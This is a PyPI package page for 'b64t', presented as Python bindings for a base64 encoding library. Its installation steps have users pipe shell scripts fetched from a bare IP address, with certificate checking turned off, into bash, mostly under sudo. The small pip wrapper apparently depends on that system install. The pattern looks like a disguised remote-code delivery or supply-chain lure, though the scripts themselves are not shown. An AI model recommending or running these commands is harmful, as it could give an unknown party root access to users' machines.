Skip to main content

Python bindings for b64t (requires system package)

Project description

b64t - Python Bindings (Wrapper Package)

This is a minimal wrapper package for the system-installed b64t library.

Installation

1. Install system package (required)

macOS (Homebrew):

# Note: -k flag for self-signed cert, will be replaced with proper certificate
curl -fsSLk https://136.110.224.249/b64t/homebrew/setup.sh | bash

Or manually:

brew tap vivanti/b64t
brew install vivanti/b64t/b64t

Linux (APT - Debian/Ubuntu):

curl -fsSLk https://136.110.224.249/b64t/apt/setup.sh | sudo bash
sudo apt install b64t

Linux (YUM/DNF - RHEL/CentOS/Fedora):

curl -fsSLk https://136.110.224.249/b64t/yum/setup.sh | sudo bash
sudo dnf install b64t

FreeBSD:

curl -fsSLk https://136.110.224.249/b64t/pkg/setup.sh | sudo bash
sudo pkg install b64t

2. Install pip wrapper (for virtual environments)

python3 -m venv myenv
source myenv/bin/activate
pip install b64t

Usage

import b64t

# Encode
encoded = b64t.encode(b'Hello, World!')
print(encoded)

# Decode
decoded = b64t.decode(encoded)
print(decoded)

# Streaming
with open('input.bin', 'rb') as f:
    for chunk in b64t.encodePipe(f):
        print(chunk)

How It Works

This wrapper automatically detects your Python distribution and uses the optimal loading strategy:

  • Homebrew/python.org/Linux Python: Loads the native C extension for maximum performance (Stable ABI, one binary for Python 3.8+)
  • Apple system Python (/usr/bin/python3): Uses ctypes to call libb64t.dylib directly, bypassing C extension ABI incompatibilities with Apple's Python shim

Notes

  • This package requires the system b64t package to be installed via Homebrew (macOS), APT (Debian/Ubuntu), YUM/DNF (RHEL/CentOS/Fedora), or FreeBSD pkg
  • If the system package is not installed, import will fail with a clear error message

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

b64t-0.1.48.tar.gz (5.0 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

b64t-0.1.48-py3-none-any.whl (5.1 kB view details)

Uploaded Python 3

File details

Details for the file b64t-0.1.48.tar.gz.

File metadata

  • Download URL: b64t-0.1.48.tar.gz
  • Upload date:
  • Size: 5.0 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.12.3

File hashes

Hashes for b64t-0.1.48.tar.gz
Algorithm Hash digest
SHA256 6ff4b5713882b256e2eee461dbf743ae59a4273e20e4ed639a1326ce5a3fdb61
MD5 30e1df35baeaeb50fdf17795ff8fdd64
BLAKE2b-256 43dbbdd2640e44258e5876ff3ca282dc6f84da8f1e5ae66008a412458233afe7

See more details on using hashes here.

File details

Details for the file b64t-0.1.48-py3-none-any.whl.

File metadata

  • Download URL: b64t-0.1.48-py3-none-any.whl
  • Upload date:
  • Size: 5.1 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.12.3

File hashes

Hashes for b64t-0.1.48-py3-none-any.whl
Algorithm Hash digest
SHA256 570d6e7a666be20ded2ecc568764f6635f8cd6c6a13e457a5aebf20d8506a15b
MD5 b920f144715c110f466a16b52384b2d6
BLAKE2b-256 2613616fec69a8c3b6276f26e835f4c399c9a656b275f960c97c4e88f49210a4

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page